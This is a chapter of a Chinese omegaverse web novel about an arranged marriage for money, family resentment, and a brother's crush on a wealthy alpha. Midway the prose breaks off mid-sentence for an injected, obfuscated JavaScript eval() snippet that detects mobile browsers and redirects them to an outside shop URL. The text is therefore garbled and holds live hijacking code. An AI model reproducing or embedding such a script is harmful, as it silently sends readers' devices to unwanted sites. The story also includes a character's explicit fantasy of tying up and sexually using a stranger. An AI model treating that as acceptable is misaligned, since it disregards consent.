钟丽芸没直接答应,只说让甄野等着,晚上见面详谈。
三百万。
这价码说多不多,说少不少。如果放在之前,钟丽芸一定会出手压价,当面给甄野个难堪,让他知道自己不值这个价。
但眼下公司等着救急,钟丽芸说什么都得抓住陈家这株救命稻草,否则家里出事,她的心肝宝贝就不能嫁给心仪的alpha了。
何君华从镜子前转身,略带羞涩:“妈,你觉得我穿这个好看吗,晚上见到容叔叔,他会不会喜欢?”
虽然容氏上下口风极严,他们还是借着陈康实的关系,打听到一些容屿的兴趣爱好。
何君华知道,容叔叔深居简出,鲜少露面,但对悦来山庄的莲藕酥情有独钟,每月这个时候都会亲自去一趟,当做散心。
这个男人极其克制,虽说是顶级alpha,却在欲望上十分约束自己——性.欲,食欲都是如此。
他钟爱这口吃食,却不容许自己放纵,每月仅品尝一次,浅尝辄止。
完全不像外面那些粗野的alpha,欲望难填,贪心不足。
何君华爱慕的就是他这幅清净高远,不食人间烟火的模样。
他觉得,自己和容叔叔一定会很有共同话题的。
钟丽芸将他牵过来,笑着说:“我们君君样貌这样出挑,怎么可能会有人不喜欢呢?而且,你的信息素可是稀少的广谱型,只要亲密接触一下,95%的alpha都抵抗不住。”
妥妥的万人迷。
何君华面露担忧:“可万一容叔叔就是那5%呢?”
“不会的。”钟丽芸撩了下发丝,拨到耳后,“君华你记住,所有的alpha都一样,只要omega有意,哪有不张嘴吃的。”
说着又在儿子耳边嘱咐两句,传授一番经验。
听得何君华小脸通红,羞赧着:“妈,您别打趣我了,我和容叔叔不会进展那么快的啦。”
钟丽芸摇头笑,她这个儿子什么都好,就是太天真,太纯洁,像一张没有沾染过颜色的白纸。
Sales帮何君华脱下大衣,照惯例打包刷卡。
只不过走账时出了点小插曲,sales极有情商地提醒:“何太太,今天商场网不好,银行那边反应慢,刷不出来。”
“您看要不要换个渠道支付?”
钟丽芸脸色微变,抿紧红唇,指示生活秘书拿出另一张卡。
好在见这次扣款顺利,钟丽芸又重新眉目舒展。
出了商场天色已晚,钟丽芸本想打发司机去接甄野。何君华在旁听到,忽然主动道:
“要不我去接哥哥吧。”
他笑着说:“好久没见到甄野哥了,也不知道他还好不好。”
·
甄野的电话差点被打爆。
原本下午是要去饮品店打工的,因为外婆的事耽误了。等想起来时,裂屏的手机上密密麻麻都是未接来电。
屏幕不太好使,甄野一条一条把通知移除,再拨回去。
老员工陈姐接起来,劈头盖脸就是一顿臭骂。
“你要是不想干了,我马上跟店长说让他开除你!”
甄野深吸一口气,“家里出了点事,麻烦你跟店长说,我请假一天。”
那边更炸了:“你员工手册怎么背的,请假要提前三天——”
甄野直接挂断。
吵得他心慌,耳朵疼。
打个电话的功夫,雨声愈来愈重,暗蓝色伞面不堪重负,在风吹急打下凹断了钢骨。
甄野抬起头,强行把断掉的伞骨掰直。却不想伞面戳出破洞,雨水顺着骨架流下,透湿了他的手心。
一阵异样的刺痛。
甄野借着车站广告牌斑驳不清的光,瞥了眼,才发现是之前被伞划伤的掌心发炎了。
红通通的,边缘发肿。
上手按了按,伴随着刺激的疼痛,甄野无端想起了昨天那个男人。
端出医药盒,要给他治伤的人。
真可惜啊……
还是应该要个电话的。
甄野唇角扯起弧度,像是自嘲,又或者只是萍水相逢与未尝来得及发生的一点遗憾。
以后就更没机会了吧。
不过这也难说。
甄野有些破罐破摔地想,他都要嫁给瘫痪老头了,还不能出去偷情吗?
他有两个生殖腔,总得填满一个吧。
等下次碰到那alpha,他就直接把轮椅推走好了。把人绑走,门一锁,两手都捆上,套上套子坐上去爽一番。
反正他以后大概率是买不了仿生人偶的。这个年纪还找年轻omega的干瘪老头心理肯定很变态,不会允许他光明正大自我满足。
所以他就找个alpha当人偶欧文的替代品。做的时候给人眼睛蒙上,爽完了提上裤子就跑。要是对方报警抓他,他就自首,绝对不给社会添乱。
这想法荒诞又离谱。
且不论会不会真的实施,但甄野点了根烟,慢慢站在路边丰富自己的“犯罪细节”,心底那种要卖身换钱的强烈自我厌弃,好像都被冲淡了一些。
他需要想些有的没的,来转移自己的注意力。
否则。
甄野平静地瞥了眼,自己夹着烟却不正常发抖的指节。
他的焦虑抑郁,又要犯了。
……
天色越发昏暗,路上行人逐渐稀少。甄野在路边等司机等了一阵,最后来的却是他弟弟何君华。
何君华开着那辆纯白色保时捷911,降下车窗,招呼他上车,还甜甜喊了他一声:
“甄野哥。”
甄野没跟他客气,直接坐上副驾驶。
他刚才在冷风里站着冻得寒颤,这会坐进来,自带加热功能的座椅,将他冻僵的背脊渐渐温暖起来。
甄野感觉舒服了一些,就闭上眼,打算眯一会。
他却不知,何君华发动车子时,正从后视镜里偷窥他。
何君华专门来接他哥,确实是想看看他哥过得怎么样。当然,最重要的是想从中找到些许崩溃的痕迹。
他对甄野推三阻四不愿意嫁人,害得爸爸住院这件事,还是有怨怼的。但他不会直说,因为他对他哥其实有些害怕和羡慕。
羡慕甄野比他高。
个头高,鼻梁高,连成绩也一直比他高。
生在这种阶层的家庭里,何君华很难不把哥哥当做假想敌。甚至那会甄野还没回国,何君华刚喜欢上容屿,都会忍不住胡思乱想。
他听说国外风气都很浪荡,很怕甄野哪天回国,把他的容叔叔给抢走了。
就像电视剧里演的一样,恶毒男二omega,用下作的手段贴近他男朋友。男朋友百口莫辩,把他这个真命omega惹哭。
好几个夜晚,何君华都是这样含着泪水,恐慌地入睡。
后来甄野真的回国了。他要倒时差,经常半夜不睡觉在别墅里走。
甄野好像说了一嘴是背上骨头疼才起来走,但何君华不怎么信。因为他看他哥能跑能跳的,觉得这应该是他哥为了博爸爸同情的说辞。
有一次何君华做噩梦起来去卫生间,竟然发现甄野凌晨三点在走廊外面站着,盯着他的卧室门一动不动。
何君华当时就惊叫一声,狠狠吓到了。
他脑海里一下子浮现出小时候被带去医院,见甄野生病的妈妈时,十四岁的甄野凶残地把他揍了一顿的情景。
——那是他一辈子的创伤和阴影。
于是何君华哭着敲门冲进主卧,扑倒在爸爸妈妈床上。他妈妈自然是护他护得紧,以为他受了委屈,气得推他爸爸,让他爸去处理。
“老何,你管管啊!他要是再打我们儿子怎么办?”
何宇生那天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147191|196403||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晚上本就脾气不好,拎着棍子就出去教训甄野了。何君华惊慌得蒙在软绒绒的羽绒被里,好像听到了什么,又好像什么都没听到。
反正第二天,甄野天没亮就搬出去了。
何君华不知道他哥去哪了,但自从那天起,他便不怎么做噩梦了。
妈妈抱着他揉了揉,还一阵后怕地跟爸爸说:
“还好你那个野儿子走了,否则要把我们君君也折磨成神经病了。甄野有精神病,在国外都确诊的,这种定时炸弹绝对不能留在家里。”
今天是何君华时隔那么久,第一次见到甄野。
他心里虽然还有些小隔阂,小埋怨,可想到哥哥马上要嫁给陈爷爷,就心底莫名一松,人也愉快多了。
好像长久以来压在他脑袋上的石头,即将要移除了。
但何君华还是很关心他哥的,怕甄野嫁人委屈,还特意问了句:
“哥,你有没有喜欢的alpha呀?”
甄野闭着眼,“没有。”
没有就好。
那哥哥嫁谁都一样。
何君华忽然想到什么,微微脸红地澄清道,“喔,那我不一样,我有一个喜欢的。”
甄野睁开眼,觉得莫名其妙,何君华喜欢哪个alpha关他屁事。
他们正在等红灯,此时右边车道恰亮起雪白的车灯,一辆劳斯莱斯幻影在暴雨里穿行而过,从氤氲的水雾中驶来。
何君华瞬间认出那车,小心脏砰砰得跳,心乱手乱一不小心打歪方向盘,差点迎面撞上路障。
“天呐,怎么说谁谁来……”
……谁?
甄野从透明的车窗往外看,对面车贴了防窥膜,一片浓重漆黑。
他不知道,在看不见的车窗里,正有一双角膜幽黑的眼,针缩着非人的红色瞳眸,将视线钉在他容颜苍白的脸上。
两人隔空对视了下。
甄野看不到对方,便转回头,继续后脑抵着靠背,闭上昏沉沉的眼睑。
空调好像开得太足了,吹得他身上有些异常的烫。
劳斯莱斯幻影里,男人眼神垂落,再抬眸时眼底晦暗的黑与红已经尽数褪去,化作属于人类的眼白。
容屿指节在手杖轻敲两下,忽然沉声吩咐: “跟上旁边那辆车,保持并行。”
能成为容家家主的大管家,自然驾驶力过人。雨水斜飞,车流湍急,夜黑色的车身始终以稳定的姿态紧跟着保时捷。
管家杜瑞眼观鼻,鼻观心。
除了他谁也不知道,容屿近乎贪心地望着那青年的睡颜,望了一路。
·
车开了半个小时,随着山势一路向上。悦来山庄的指示牌在树影间一闪而过,再往前就是山庄的私家领地,非提前预定不得进入。
保时捷身量轻巧,先一步越过岗亭进入山庄,停在订好的别院里。
选在这个地方让甄野和陈家见面,就是因为足够私密。
流水小桥互相掩映,夜间雨声夹杂着几道清脆鸟鸣。抬头一看,却不是山林鸟,而是房檐下养着的笼中鸟。
服务生领着他们过去,远远看见钟丽芸和一个中年男人笑着攀谈。
走到近旁,何君华乖巧地喊了声“叔叔好”。陈康实先笑应了一声,再慢悠悠把目光落在旁边的omega身上。
“你就是甄野?”
“是。”
甄野,陈康实在心里念一遍。他打量着omega,好冷的性子,眉眼是秾艳漂亮的,就是那鼻梁过分高挺,显得他倔气高傲,站在那儿有股子孤棘的劲。
让陈康实这种商海沉浮的人,难免想拿矬子给他磨一磨,平一平。
“甄野,那我就开门见山了。”
陈康实招呼他坐下,将一份合同,直接推到他的面前:
“这里是条款,只要你签下名字,一百万马上就会打到你账上。”